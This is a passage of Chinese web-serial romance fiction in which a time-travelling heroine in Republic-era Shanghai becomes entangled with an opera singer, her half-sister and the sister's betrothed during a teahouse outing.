他的眼神变得薄凉,又渐渐变得温和,温和地连紧抿的嘴唇都松懈下来,挂上从容的笑意,从角落中走出。
“云笙,你怎么躲在这,叫我好找。”许宓娇羞地捶他,整个人如初春的桃花,脸上始终带着淡淡的粉。
“不好意思,不大认识路。”云笙含笑说。
“那你别乱走,都说在外面见见就好,不必急于一时。”许宓将他带进自己屋子,没让任何人看见。
即使是第一次来到她的闺房,云笙也格外知礼,坐的远远的,绝不再跨过珠帘,看后面的内室。
许宓见此,更是欣赏他。
这样温柔体贴的人,如果不是戏子该多好,她也不必欺上瞒下。
“你就要订婚,见一次便少一次。”云笙垂眸,带着淡淡忧伤说:“之后,我们就此了断吧。”
“云笙,如果,我是说如果…”许宓放在膝盖上的手心攥紧。
闻言,云笙抬头看她,许宓顿时多了几分勇气:“如果我还是想要与你私奔,你会带我走吗?”
云笙眼睫闪动,似是动容,终是摇摇头:“你是金尊玉贵的小姐,我是下九流的戏子,嫁给严大少爷才是你最好的抉择,我不能因一己之私伤害你。”
“为什么你一定要坚持我嫁给严诲,从上次到这次,每次你都这样说,为我好,可是…”许甯心痛如绞。
她望向不远的男子,他坐在窗边,新开的樱花探出花枝,将带着雨水的花片落在他的肩头、肩膀,浸湿出点点花痕。
他未理会,只看着她,就像她第一次见他,他也是在台上,瞥过的视线带着柔和的光芒。
话到嘴边,都有些哽咽,许宓带着哭腔说:
“你知道的,云笙,我喜欢的只有你。”
“我只想和你在一起,无论用什么办法!”
云笙淡淡地叹息,像是无可奈何的垂眸不语。
*
破庙
许甯站在门口,不可置信地问。
“你是说,这就是我的住处?”
“是的,二小姐。”下人颇为敷衍地扔下她的两个旧木箱子,开着车就走了。
几块木板连成的床、一张缺了脚的积灰桌,还有看不出原样的泥塑。
这就是破庙,比她原来的院子还烂。
许甯走进去,翻开床板,一股霉烂的气味扑面而来,床底下到处都是霉菌。
往头顶看,瓦房破了一块,正往下滴着雨水。
真是要命,她屏住呼吸。
就这环境,住的话必须改造一下。
说干就干,许甯把木板搬出去,就在她搬的浑身脏污时,许玮带着人走过来。
“哟,陛下,怎么混的这么惨。”他后面的人走过来,唏嘘道。
许甯毫不客气地把手上的木板往他身上一扔。
没有防备,他手忙脚乱地接住木板,扑起的灰尘蒙住他的面容。
隐约,他看见许甯脸上的笑容,横了他一眼,继续进屋搬东西。
严诲咳嗽了两下,也跟了上去:“许甯,你也太不厚道了,我是特意来帮你的。”
“那你多干点。”
一阵霹雳作响,从门里钻出一股尘雾,许玮掩住鼻子,和出来的许甯打了个眼神,也走了。
“你们在做什么?”严诲看着许甯朝许玮挤眉弄眼,不善道。
“没什么啊。”许甯也朝着他挤眉弄眼。
严诲的鸡皮疙瘩都起来了,把破木桌扔在地上:“我怀疑你们在商量对付我。”
“对啊。”许甯笑的开心:“勾引你~”
她这话说的随意,因此严诲也未当真,只是作为贵少爷,他对着许甯勾起手指,认真道。
“勾引,你知道什么是勾引吗?让我教教你,甯儿。”
许甯随意捡起土砖,转身用力掷去。
“嗷——不学就不学,没必要砸死我吧!”
眨眼间,三日过去,许甯的破庙在严诲的帮助下,成功改造成小洋房,并且在旁边重新为佛像立了个佛龛。
许府也派过下人看过,不过不知道为什么回去后哑无音讯。
对此,许甯就权当默认,继续实施着她的新家改
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造活动。
小洋房内饰改成她最爱的绿白色,外面种植着紫藤萝,顺着屋檐垂下。
就在许甯洋房一切顺利,也和严诲关系越发密切时,茶园中——
台下观众云集,端着茶壶的茶房行走在人群中,听见续茶声,赶忙诶一声,迎着笑脸过去。
“韩少爷,您有阵子没来了。”茶房一边续茶,一边寒暄道。
韩砚嗑着瓜子,镜片后折射出他漫不经心的神情,长长的银链子从耳后垂下。
“是有阵子忙了些,我爹呢?”
“韩爷还在招待贵客。”茶房微俯身答道,“需要通传吗?”
“算了。”韩砚视线聚焦到台上。
台上花旦穿着朱红大戏袍,眼尾勾勒的细长,搭配着粉色胭脂,贴片子缀满点翠梁,鼻梁秀挺,下颌线条却藏着几分男子特有的利落。
一唱一和,婉转清丽。
韩砚转身望去,发现观众都是如痴如醉、掌声如雷,他不禁笑笑:“云笙倒是有名气。”
“云笙先生现在名气确实大着嘞,近些日子上台多了,依旧络绎不绝。”茶房竖起大拇指。
“等他下台,我去找他。”
“这可真好。”茶房忙点头,见他不解,附耳小声道:“云笙先生这两日心情不好,您刚好可以开解些。”
韩砚:“可有缘由?”在他眼中,云笙可不是喜怒哀乐形于色的人啊。
“小的也不知,不过有一日听见韩爷说云笙先生思春,爱而不得,等的人久而不至。”
“后来呢?”韩砚哑然失笑。
“后来…韩爷就被云笙先生踹出来了,屁股那印了一大块脚印,他还没发现。”
茶房知道少爷性情温和,因此荤素不忌,连他爹的笑话都讲出来。
话出口,又感觉有些不妥,正捂住嘴。
韩砚笑看了他一眼,摇摇头:“你们只看到我爹的丑态,我看的啊,可是我爹说准了。”
“沈斛啊沈斛”他轻声感慨道。
台上的旦角莲步轻移,侧身回眸,缓缓上抬,眸中波光流转。
台下掌声如雷,但他完全未意识到自己被编排。
“真不敢想象,究竟是谁让你渐入爱河。”
“阿湫!”许甯打了个喷嚏,揉揉鼻子,继续在桌前写文章。
她写的内容已经不局限于日常,开始渐渐往家国方面靠近,不过她也不敢写太明显,而是借着故事展开。
比如她目前打算以卖报小男孩根生的故事为原型,写一家人在贫瘠的环境下艰难存活…
写到一半,她的老毛病又开始发作,以纪实人物写内容,她就忍不住想采访当事人。
毕竟往往现实比想象更加残酷。
在手札里记录下问题后,她放好笔和本子,背上包准备出门。
就在转过街角时,严诲一把勾过她的肩膀。
许甯有些无语,把他推远:“姐夫,你能不能在许宓身上多花点功夫。”
天天净找她了。
虽然答应许玮要勾引,但她真的没有这意思。
“我带你就是去找她,她去看戏了,我们也去吧。”
许甯右眼皮跳了下,直觉不对劲:“去哪看戏?”
“茶园啊。”严诲说的理所当然,许甯的心脏却是猛的悬起来。
17. 第十六章
“茶园,我就不去了吧。”许甯偷偷地往旁边溜。
鬼鬼祟祟的动作还没走多远,就被拎着后领带回来。
严诲居高临下,眼神格外认真。
“我想你陪我去。”
“就当这些日子帮你的回报,不可以吗?”
他的语气很轻,拂在脸颊上,带来一阵酥麻。
许甯浑身颤了下,坚决把这颗毒瘤往旁边推,紧接着摸着耳朵说:“可以,当然可以。”
不论是作为朋友,还是恩人,她确实没办法拒绝。
严诲笑着点下头,随即拉住她往车上推。
坐上雪弗兰后座,她再次闻到一股淡淡的桂花香,想起百年后的严老先生爱桂花茶,她寻找着,最终在车挂上发现一株干枯的桂枝。
许甯盯着桂枝看了许久,又转过头不动声色地观察着严诲。
他今日穿着深灰色西装,周身气质矜贵沉敛,叉手随意靠在椅背,闭眸。
这可不太像他平常耍赖的模样。
难不成真的发现了许宓的奸情,要去抓奸?
虽然她很乐意做这件事,但奸夫是沈斛的话…
她顿时感觉坐垫太硬,屁股都有些疼,到时候是给严诲主持公道,还是帮助沈斛逃脱呢。
嘶…真是个难题。许甯咬着手指想。
车疾驶在街道中,很快停在听澜阁,严诲下车走在前,脚步沉沉。
这下,她越发觉得猜测为真。
虽然平常严诲不太靠谱,但实际也是个心思细腻的人,很难不保证他打听到了什么。
“先生、小姐,请进。”
堂倌上前牵引,许甯今天穿的是螺青色旗袍,头发梳成最简单的发髻,在肩头垂下一缕,朴素温婉。
可这温婉没保持多久。
她心里装着事,也就忘了脚下过高的门槛,一绊,当着全场的面扑在地上。
“啊!”一声尖叫从喉咙发出。
“扑哧!”
“哈哈哈哈哈!”
随着她四仰八叉摔倒在地,全场哄然大笑。
许甯手撑在地面,默默挡住了脸。
“快起来,真丢人。”
严诲也没想到有人走着走着还能摔跤,赶忙上去扶起,语气虽硬,动作却很温柔。
将她半搂着,用身体挡住所有视线,扭头却看见她光着右脚。
白皙粉嫩的脚趾从旗袍下露出,严诲赶忙拉开视线,又一想,觉得自己有些莫名其妙,扭头继续看她。
“我的鞋坏了。”许甯遮住脸,有些难堪地把鞋拎在手上,给他看。
她穿的细高跟,鞋跟已经断裂,吊在鞋上一荡一荡的。
严诲深深地吐息:“腿没伤到吧?”
“没有。”
“先上去,等会叫人再买鞋。”
许甯还没来得及点头,一声惊呼抑在嘴边。
“你干什么!”她砸着严诲胸膛。
原来他不顾众人视线,一把将她打横抱起,往包厢走去。
许甯没敢睁眼,但知道自己脸已经快红成猴屁股,严诲突然来这么一下,比她当场摔倒社死更可怕。
“严大少爷难得大驾光临,三楼有请。”一道声音略粗,带着些讨好的语气出现。
有些熟悉,许甯悄悄叉开手指,从指尖缝隙处看见了韩叔。
他还是一如即往地穿长衫,作为茶园老板,不显市侩,反而有几分儒雅风流。
也不知道有没有认出她。
许甯赶紧又把自己遮严实,决计不能让他看出来。
在许甯着急忙慌到处遮掩时,韩先觉已经认出了许甯,虽然早知她与严诲有关系,但真正看到时,心里还是为自己侄子升起一股悲伤。
和许宓不同,虽然沈斛表明他要接近小甯,也是为了复仇。
但是他的直觉告诉他,沈斛对小甯绝不一般。
就如前几日,他告知沈斛小甯要花钱见他后,沈斛就没再出去演出,每日除了表演外,就是在茶园里等着。
时至今日,等了五日,沈斛从开始的漫不经心变得愈发焦躁。
他去找他,说他思春,爱而不得,反而被他一脚踹出,说是因大仇未报,关键人物又不出现才焦急。
可是,现在在对面定定注视着小甯的又是谁?
韩先觉趁着间隙,对着对面沈斛做了个嘲笑的表情。
*
落座于三楼的雕花木栏包厢,里面有一对梨花椅,正中摆着张茶桌,上面摆放着糕点茶水。
许甯被严诲放在椅子上,身后垫着软垫,她靠着,小声地对他说:“你让他走。”
严诲不知她认识韩先觉,只当小姑娘害羞,于是转身对着站在旁的韩先觉说:“你先下去吧。”
韩先觉躬身离开:“严大少爷有何吩咐,可以再派人找我。”
他走后,许甯总算移开了手,露出的脸有些微红,严诲不知怎的,脑海里又浮现她的脚尖,轻咳了声。
“丢人现眼。”
许甯立马怼回去:“在所难免。”
她的眼睛初初暴露在外,清亮如水,明亮又狡黠。
严诲:…
他对上这双眼睛,沉声:“你还要买鞋吗?”
“我错啦!”许甯立马投降,双手打开往上举,作势要跪下道歉:“我错了,我给您泡茶,可一定、一定要帮我买鞋啊严大少爷。”
千叮咛万嘱咐,严诲也不会反悔,无非是想怼她一下,许甯深知,自然也不会真的跪下。
“行了,给你买。”严诲又捂嘴轻咳了下,往外去吩咐。
许甯怀疑他是不是感冒,待他走后,赶紧往后退了些,拿起茶碗倒茶,一饮而尽。
茶汤清澈,悬着几根绿叶,滋味微苦,她还挺喜欢。
确保自己不会被感染,许甯开始摆弄起桌上的小玩意。
茶壶后摆放着煮茶的器具,并配有柑橘、苹果、糖罐等,她把每个茶罐都打开看了眼,发现竟然有桂花。
严老先生最爱桂花茶,严诲似乎也爱桂花,那么,她就给他泡盏桂花茶吧。
严诲回来时,许甯笑脸盈盈端上一碗茶。
“来,大郎,喝茶。”
他往后退步,直碰到木栏,指着茶碗:“是不是有毒。”
“怎么会呢?”许甯揭开茶碗,一股浓郁的桂花香涌出:“是你最爱的茶。”
“我最爱的?”严诲深表怀疑,许甯怎么可能
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知道他喜欢什么东西,他走到近前,喝了口,皱起眉宇。
“这是你们小姑娘喜欢的味道,我怎么会喜欢这甜味。”
“你不喜欢?”许甯再度询问,得到的还是严诲坚定的摇头。
难不成是时间太早,严诲还不喜欢桂花茶,还是她的出现导致了历史错乱?
“你们还是在和承安军开战吗?”许甯突然问。
这话题跳的太快,严诲愣了下,点头。
手撑在下巴上摩挲着,看来,大状态并未改变,不过也拿不准是不是她的出现只影响身边人。
许甯想好后,发现严诲一直在定定地看着她,为了不引人注目,她端起自己的茶碗喝了口:“不错啊,很好喝。”
“你喜欢?”严诲不知在想什么,问道。
许甯抿了抿:“我喜欢。”为了表示她泡的茶没有任何问题,眼睛从茶碗边探出,认真道:“很喜欢。”
严诲看着她,目光沉沉的,半晌,他才低低笑了声,伸手把茶碗再次递到嘴边,慢悠悠地抿了一口。
*
戏台上锣鼓敲响,满场喧嚣顿歇。
“演出开始了。”许甯激动道。
说是决定与沈斛绝不要有接触,但是当真的接近那一刻,她又期盼能在戏台上看到他的身影。
灯光轻移,照亮走上台上戏子的脸。
许甯失落,已经探出的脚缩回来:并没有沈斛。
视线不由地往上转,从大堂坐满的观众到三楼来回跑的茶房身上。
他的手上提着茶壶,肩膀上搭着汗巾,匆匆进了对面左边的包厢中。
包厢中只有一人,她并没有在看戏,桌上散落着打破的茶杯,茶水沿着桌角滴落。
茶房躬身行礼后,对面的客人转过身来。
许宓!
许甯的眼珠子都要跳出来,本能地想站起来挡住许宓。
“坐下。”身边人说,语气平淡,听不出起伏。
她侧过头想去看他表情,发现他的视线正停驻在许宓身上。
他转过脸,挑挑眉:“我去打个招呼,你去吗?”
他的表情似乎理所当然,许甯突然意识到严诲可能并不知道许宓的奸情,而且许宓身边也没有沈斛。
庸人自扰,她缓缓坐下,尽量让语气自然些:“你去吧,我不喜欢许宓。”
她不喜欢许家人,从未遮掩,严诲也能猜到,点点头,起身往许宓那去。
呼...许甯拍拍小心脏。
幸好沈斛今天没出现,否则真成抓奸现场。
就在这时,门轻轻敲响,刚好三声。
许甯猜想着可能是严诲回来了:“快进。”
门开了一丝缝,透进淡淡的茶香,许甯突然反应过来严诲不会这么客气,猛的扭头看去。
人已进来,轻轻磕上房门,他侧着身,领口的素色盘扣首先撞入她的视线。
再往上,内里的白领微露出几分,下颌线条流畅。
转过身,脖间戴着的白玉温雅,一如他的人,琥珀色的瞳仁看着她,柔和温煦。
“不问自来,实是再遇小姐,深觉缘分不浅。”
“某云笙,如是搅扰您,这就退下。”
18. 第十七章
“许宓。”严诲喊道,推门进入。
许宓看见进来的是他,眼中闪过一丝失落,但她很快反应过来,打招呼道:“好久不见。”
“你的情人怎么不在这?”严诲来茶园,主要也是为了见见许宓眼中的好男人。
四处寻找一番,最后发现包厢中只有许甯,颇有几分可惜道:“他今天不在?”
许宓摇头,带着警惕将他上下打量一番:“你这么想见他做什么?”
“放心,既然你已经跟我表明,我就不会动他。”严诲抱胸缓步走过去,站在凭栏前,看着许宓说。
“我只是想知道哪个戏子这么有本事,夺走许大小姐的芳心。”
许宓走过去站在他另一旁,隔着一米的距离,翻了个白眼:“关你屁事。”
明白许宓就是这样的人,严诲没有对她的语言反驳。
许宓转过来问:“与其想我的感情,不如管管你自己,你打算怎么推脱掉订婚宴?或者,你有没有喜欢的姑娘?”
当初,云笙要她嫁给严诲,开始时确实有些不知道怎么办,甚至答应了父母订下的订婚宴。
可后来,严诲发现她频繁出入茶园,找她说清楚——如果不情愿,没必要听从父母之命。
那一刻,许宓是有些讶然的,毕竟严诲从小时候利用身份逼迫她定下姻亲,结果取消的如此简单。
他说她不愿强迫她,但是许宓如何不清楚,利益联姻牵扯颇多,父母绝不会轻易放弃。
这场婚姻,除非找个替身,否则拒绝权从不在她手中。
正好,哥哥帮她想了主意———同她年纪模样相仿、又好拿捏的许甯简直是最佳人选。
进私塾、促进她们感情、在钱老板和许甯相亲时特意告知严诲。
当发现两人关系越发亲密后,许宓觉得自己和云笙私奔的机会也大了。
因此,这次她提起订婚宴,也是为了探探严诲的真心。
喜欢的姑娘…
双颊带笑,双眸闪烁,爬上高墙摘下桂枝,插着腰喊他:“小严子。”
严诲脑中一下子就浮现这个场景,有些猝不及防,他愣怔着。
“看这样子,还真有啊。”许宓调侃后,继而绕着他感慨道:“男人啊,就是见异思迁太快,我看你最近和许甯走的近,是她吗?”
严诲沉浸在自己的脑海中,这才意识到自己久未回答,正要反驳,听到她说的名字,又抿抿唇。
许甯虽然和许宓是姐妹,地位却是天差地别,一个是高门显贵的大小姐,一个是养在乡下的庶女。
即使严家开明,严诲也无法保证父亲是否允许他娶爬床生下的女儿。
他沉默着,思考着如何决策。
“如果你喜欢她,我有个办法。”许宓猜到他的顾虑。
严诲:“什么办法?”
“不如这样,在订婚宴,你…”
*
沈斛,主动向她介绍自己。
这在未来,或是现在,她都从未想过。
她有些说不清心里的感觉,诧异、奇怪,但更多的是激动。
“不。”许甯拦住他想出门的动作,看他转头对视她,琥珀色的眸子几乎将她的视线全部夺走。
“我的意思是,没事,我很高心认识你,云笙先生,久闻大名。”她伸出右手,弯起唇,酒窝在她脸上勾勒。
云笙似乎愣了下,过了会,走上前来,轻轻握住她的指尖。
一触即放。
“我的荣幸。”
指尖残留的热度在灼热,他的指尖似乎有茧,擦过的一瞬间热气沿着筋脉通满全身,将她整个点燃。
如果不是有人在,许甯此刻真的想对天长啸:我!摸到沈斛的手啦!活的!
太兴奋,许甯此刻意识到追星人的快乐,就像是躺在云朵上,软软的,飘飘然。
什么理智早已化作尘埃。
许甯藏住自己的激动,为他斟了杯茶:“云笙先生怎么知道我在这?”茶水倒了半满,她突然意识到:“对了,还未和你介绍,我叫许甯。”
“我知道。”云笙笑说。
继而垂眸看着倒满的茶碗,甚至有些溢出来的茶水,拦住她倒茶的动作:“小心别烫着了,这些小事还是让我来吧。”
说着,他接过许甯手中的茶壶,不小心在手柄处碰到她的手背,许甯惊地立马缩回手。
“抱歉。”云笙歉意道,将茶嘴对准她的茶碗,扶着茶盖,桂花的清香顺着水流到杯中。
“韩叔常和我说起一个姑娘,叫小甯,说她今日来茶园,我也识得。”
“我好奇询问是谁,他说正是前些日子在礼查饭店弹钢琴的姑娘。”
茶满七分,云笙停下,将茶壶回归原位,拖着袖子对她做了个请的动作,笑容温煦:“我猜到是你,就来了。”
许甯点点头,想起自己在韩叔面前哭着求着要见云笙的场景,四处乱瞥,最后端起茶碗遮住脸,装作饮茶的模样。
因此,她也就没发现云笙话中的错处。
礼查饭店那天,韩先觉喝醉了,怎么会看见她弹琴。
只不过,她现在担心云笙知道她对他死缠烂打的模样,不敢接话。
“听说…”他语气顿了下,引得许甯悄悄抬眸,他瞬间抓住她的眼神:“许小姐前几日本是要来见我,怎的没来?”
话尾语调上扬,明明是平淡的语气,许甯竟从中听出些许委屈。
“我、我”几个我说出口,语气也迟疑下来。
许甯再度把自己藏在茶碗下,就像是受到惊吓,猛的缩在壳里的乌龟。
她绝不能把自己害怕因他早逝,不敢接近的缘由告诉他。
“我囊中羞涩。”她小声说:“你太贵了,我见不了。”
意料之外的回答,却一下子抚平他纠结的内心,他禁不住抿起笑意。
许甯偷看他,发现他的笑容很浅,却说不出的好看,像春风拂过柳梢,是与温和的笑不一样的滋味。
“他们跟你说要多少钱?”
“一千,我砍价到三百,但我很穷云笙先生。”许甯再度开口,为了应证这句话,她拿出钱包,往下落出两个钢镚。
…
叮铃铃铃,钢镚在桌子上转了几圈,最后停下,一切归于平静。
许甯趴在桌上,认真捡起后又塞回钱包。
整个动作行
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云流水,云笙没忍住脸上的笑意,低笑混合着茶香漫出来。
连着他颈间佩戴的白玉撞响,发出清脆的声音。
有这么好笑吗?
许甯摸摸脸,只觉一股热腾腾在奔涌,她的脸很热,也在变红。
“如果早知是你,我会付钱和你见面。”他收了笑,抬头看她。
他的脸上残留着淡淡的笑容,琥珀色的瞳仁满含柔雾,而她倒映在其中。
许甯几乎有一瞬间,以为自己是他珍视的爱人。
不过,这怎么可能呢。她扯着笑意,猛的给自己灌了冷水:他爱的人可是许宓。
她摇摇头道:“家有家法,行有行规,不能轻易打破,虽然我想见你。但绝不会违背规则。”
云笙看着眼前这个一瞬间转变的姑娘,眼神黯淡下来。
“所以,如果再来一次,即使知道不用钱,你也不会来见我,对吗?”
许甯无法回答,也无法再面对他。
她在心中做了相同假设,得到的结果还是一样。
如果结局注定,不如不要靠近。云笙太好了,像甜点、毒品,他比历史中的文字更加诱人,她不敢靠近。
只怕靠近,就会成瘾。
她手枕着桌子,默默转过头看台下的戏。
所有动作,已经给了他结果,再待下去反而显得自作多情。
云笙站起身来,点头以示礼貌。
“欢迎再来茶园。”
“我会给你捧场。”
两人几乎同时说出口,皆短暂地一怔。
“多谢。”
“好的。”
又是同时回答,两人都为这默契感慨,许甯眉眼弯起,她站起身。
包厢上方挂着四角宫灯,透出的光将他整个人都柔和下来。
许甯抬头看他,他的身量比严诲还高,长身玉立,如玉般温润无暇。
就在她打量他时,云笙也在打量她,眼神晃过在旗袍下光着的脚。
“我们还挺有默契。”他说,语气有些漫不经心。
“我也觉得。”许甯感慨,被禁锢的空气一下被打开,轻松的氛围在两人之间流荡。
“你上次弹奏的曲子是什么?”
许甯有些没明白,他解释说。
“礼查饭店那天你弹的钢琴,我从未听过这么好听的钢琴曲,让我记忆尤深。”
说着,他摇头轻笑着:“请原谅我对它的解读,我觉得它像大海的波涛汹涌,又像冰川的沉寂辽阔,像怦然心动的情人,最后一别两宽。”
许甯猛地抬头看他。
云笙有些不知所以,转头注视她:“我说的太离谱?”
“不,不是太离谱,是震惊,你猜的很对。”许甯有些语无伦次,音调都有些控制不住。
“这首钢琴曲,叫《Myheartwillgoon》,是美利坚的曲子。”
严诲重复呢喃着歌名,忽而冲她一笑:“歌名很像古籍中的一句话。”
“什么?”许甯扭头疑惑问。
“我心匪石,不可转也;我心匪席,不可卷也。”
他轻声说着,瞳孔中始终倒映着她的影子。
19. 第十八章
也就在这时,有人大喊着,声音隔过中间的戏台。
“云笙!”
心中警铃大作,不出意外的,她又听到严诲喊了一声。
“许甯。”
隔着戏台,四人就这么相对着,许宓目光紧锁着云笙,眼神哀伤。
严诲半张着嘴,仿佛难以置信。
云笙则一直带着浅淡的微笑,毫无半分被捉奸的慌乱,反而对着许宓和严诲点头示好。
“许甯、许宓,你们是亲姐妹吗?”云笙转过头问。
许甯从呆愣的表情中走出:“算是吧,不过她是嫡女,我是庶女,我身份低微,可不敢与她称作姐妹。”
话说出口,她才惊觉自己语气中带着醋意,像是羡慕许宓。
至于在羡慕什么,她想不出,也不愿仔细探索。
云笙眨了眨眼:“若是细较,我是下九流的戏子,还不配给你提鞋。”
他看向对面,戏台上的灯光如此灼热,每个人都形态各异,有人鼓掌、有人热切的交谈。
而他从来都未感受到那股灼热,即使在台上,他所能接触的也不过一片黑暗。
他轻笑一声,忽而缓缓道:“你、许大小姐、严大少爷都是云端的人物,我是藏在泥里的,肮脏的怪物。”
扣扣两声门响,手下人送来鞋,是一双平底的玛丽珍鞋,许甯矮下身子穿着,不自觉地顺着他的话说。
“人与人又有什么高低贵贱呢,都是妈生的,都会死。”
“我一贫如洗,而你身份卑微,但我们心灵、心胸同样丰富充实,如果老天再多给我些钱,再给你安排一个高贵的身份,也许我们不会相遇。”
“就像我站在这,我们不是以血肉之躯在对话,而是你我灵魂沟通,即使我们两人穿过坟墓,站在老天脚下,彼此平等。”
许甯按照最喜欢的《简爱》回答之后,甚至没意识到自己说了什么,起身,手扣在木杆上。
她没有注意,因此也没看见云笙悄悄地看她一眼,眼中的琥珀色泛起涟漪,像是冰川融化,春暖花开。
他瞧见许甯伸出右臂,食指朝着严诲勾了勾。
她露出调皮的笑容,一如他曾在楼上看见她对着韩先觉背影做鬼脸。
如此鲜活啊,像一道温暖阳光。
“你过来啊。”她搞怪地说。
云笙给她的动作逗笑,轻笑着,清越如磬。
严诲果然气急,脸色霎时间变红,但原本紧攥的手心悄然放下。
“你等着!”他对着她恶狠狠喊道,随即快步离开对面,朝这边跑来。
“完蛋了,完蛋了,他非杀了我不可。”许甯一边嘟囔着,一边心急地按住门。
包厢是隔扇门,并没有上锁,她对比一番自己和严诲的重量,准备搬来梨花椅堵门。
云笙就看着她这样转悠着,嘴角噙着笑。
“快快快,别光看着,你也来帮忙。”许甯一手费力地抓着椅背,一手拉过云笙。
云笙刚要迈动的脚顿住,看向被她拉住的手腕。
力道并不大,她的手指纤细,只能半握着他的手腕。
他抬眸,想猜测她的真意。
不像许宓的刻意接触,她的动作格外自然。
“走啊。”许甯瞪他。
莞尔一笑,云笙听命地被她拉住堵在门前,连着一把梨花木椅,一起“罚站”。
“老师”许甯犹觉不足,坐在椅上,双足撑着地,背靠着门,使劲将椅子往后推,手张开攥住冰凉的椅靠,似乎这样就能将手心的热气消散。
呼…幸好没发现,也没拒绝。
她小心地呼着气。
“为什么我们要躲?”云笙不解。
许甯始终鼓着气,咬着牙说:“因为我们偷情。”
“偷情?”云笙瞪大了眼睛。
瞧他这么认真,许甯也笑了,眼里闪着光。
“骗你的,我们可什么都没做啊。”
如果真的偷情,怎么也要把他扒了,再这样那样一番吧。
许甯脑洞大开,热血上涌,最后生怕鼻血流出来,这才打断脑洞。
正在此时,严诲推了下门,发现推不动后开始拍门,同时不忘喊她。
“许甯,给我滚出来!”
“快点开门!”
“你挑衅我,还不敢和我对抗是吧?”
…
“是,我怂了,小严子。”话虽这么说,最后三个字仍在挑衅他,尤其是语气格外重,恨不得所有人知道。
身旁很快响起云笙的笑声,而门外似乎也有不少人憋笑的声响。
拍门声渐重,门框有些岌岌可危的颤抖,许甯此时有些心疼严诲的手。
他还是很有良心的,没用脚踹。
许甯思酌着要不要现在开门,忽然听到许宓的声音。
她说:“云笙,开门。”
“开门吗?”许甯看向云笙。
即使和着她玩闹一番,他的衣裳依旧齐整,不像她盘起的头发变得松散。
“你想开门吗?”他问她,语气温和。
许甯沉默了一下,忽而扬起脸,发丝随着她的动作,勾在嘴角。
“开,玩笑也闹够了。”
云笙眼角余光捕捉到她的失落,毫不迟疑地将她带到一面木墙前,推开,将她推进去后自己也进去,再迅速关上。
整个动作行云流水,完成得极快。
许甯还没反应过来,自己就到了旁边的包厢。
墙的另一面传来木椅撞开的声响,一群人涌进去,又开始找人。
“人呢?”
“许甯?甯儿?”
许甯靠着墙偷听,捂住嘴偷笑。
“好玩吗?”云笙笑着问。
许甯点点头,这种捉弄别人的感觉她一直都喜欢。
就像装神弄鬼吓太太,又往烟杆中装辣椒粉,朋友常说她像没长大的孩子,青春期长的让人害怕。
许甯抿着嘴,站在云笙面前,低着头。
开始担心在云笙面前会不会落下不好的印象。
她想说些什么,又不知道如何解释。
这时,面前的身影缓缓蹲下,抬眸看她,琥珀色的眼睛温柔迷人。
“我记得初见时,你被流氓纠缠,如果可以,我希望下次能和你一起去偷走他的黄包车。”
“啊?”许甯眨眨眼,初见?流氓?
时间过去很久,她想了片刻,惊喜道:“你就是给我手帕的先生?”
蹲在她面前的云笙轻点头。
那她还把
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要给他的发钗,又换成钱要回来…
一大堆黑历史全部窜入她的大脑,许甯尴尬的转过身,捂住脸。
而且那根发钗是她捡到许宓的,许宓如此珍视,难不成,难不成…她简直不敢想。
“那根发钗是我送给许宓的,兜兜转转,又从你手中到了我手里。”像是知道她的心思,云笙坦白道。
“为此,许宓还十分歉意,说不小心弄丢了发钗。”
许甯感觉空气中的氧气,随着云笙说的话,每一刻都在快速流失。
她做的所有事情仿佛都在他眼中,而她在他面前是否是透明。
许甯再也忍不住,尖叫着捂着脸冲出门。
云笙回望着她的背影,脸上始终流淌着淡淡的笑意。
*
云笙太可怕了,太可怕了。
俗话说“水至清则无鱼,人至察则无徒。”放在云笙身上,简直是人至纯则无耻。
他明明知道所有,居然还能平淡地找她,看她怎么被他吸引,然后又把所有事情坦白,看她难堪。
太可怕了,太可怕了。
许甯脑海里充斥着这句话,当她从另一边包厢中跑出,又冲着不小心撞到了人,有人喊了声:“许二小姐在这。”
许甯也没管,径直往茶园外跑去。
当严诲收到消息时,看见的就是许甯在楼下四角桌前到处磕碰跑出去的模样。
他马不停蹄,也跟了上去。
当他跑出茶园,最后在对面街看到她。
她正拉住浑身破烂的卖报男孩,说着什么。
“根生,上次的钱够用吗,你妈妈妹妹好些了吗?”
根生挠了挠脑袋:“妈妈能从床上起来,妹妹也好了不少,多谢姐姐。”
这孩子还不好意思了,许甯感觉呼吸顺畅了不少,从钱包里拿出最后两块钱。
“不用谢,这些钱拿回去买些好吃的,多补补,才能好得快。”
根生推拒道:“姐姐,真不能再收你的钱了,我们都好了不少。”
“谁说病好了就不能收钱,快拿着,而且我下次还想去你家采访一下。”
“采访?”
“唔…我是写文章的,需要记录一些生活,我觉得你家是个很好的采访对象。”许甯说着,故意反问道:“你不会拒绝吧?”
“拒绝?当然不会,姐姐能来我们家,爸妈都会高兴的。”根生高兴地说。
“那就这么说定了。”许甯看见严诲的身影,迅速结束对话,跟根生互道再见后,转过身来面对严诲。
“我错啦!”严肃的表情迅速变得扭曲,三呼“我错啦,严大少爷。”
许甯觉得自己如果真穿越到古代,做公公绝对是大好前程。
瞧她,多么有上进心啊。
“你错哪了?”严诲挑挑眉。
“错在不该挑衅,不该关门,不该二次挑衅。”许甯极快地表明自己罪行。
“不对。”严诲摇摇头,缓缓靠近:“你不该在别的男人面前挑衅我。”
嗯?许甯感觉到一股强烈的危险气息涌来,而她完全逃不开。
天色渐暗,残阳将街道的一切都镀上金色,而在对面茶园三楼,云笙站在窗前,垂眸看着她们的交谈,薄唇几乎抿成一条线。
20. 第十九章
“别的男人,哪有别的男人?”
面对严诲的步步紧逼,许甯决定装傻。
“就是云笙,别装了许甯。”严诲俯瞰着她,说出事实:“他和许宓是一对。”
“你、你怎么知道!”许甯往后退着,身子抵在洋行的石柱上。
坚硬、粗糙,摩擦着旗袍,硌着她的肩胛骨生疼。
严诲闻言勾起嘴角,仿佛在笑她的幼稚。
“不对,你知道这件事不去找未婚妻许宓、情敌云笙,找我质问是不是无理取闹。”
高大的身影将她笼罩在阴影里,许甯掌心紧贴着石柱,像是逃命之人得到的唯一机会,她不遗余力地质问他。
“无理取闹!你不敢说许宓就来欺负我是吧?”
“严诲,别以为你是严大少爷,我就怕你!”
嘴巴一下子被捂住,温热的掌心带着雪松气息,堵住她嘴边更恶劣的话。
许甯不知道他想做什么,睁大双眼,纯粹明亮。
“我…”严诲话到嘴边,突然被她的眼神撞的一滞。
拧紧了眉头,许甯看着他从裤兜里掏出香烟,夹在嘴边,不甚熟练地单手打开打火机,点燃,吸了一口。
随即夹走烟,他张了张嘴:“我不想娶许宓,我想在订婚宴上和你订婚。”
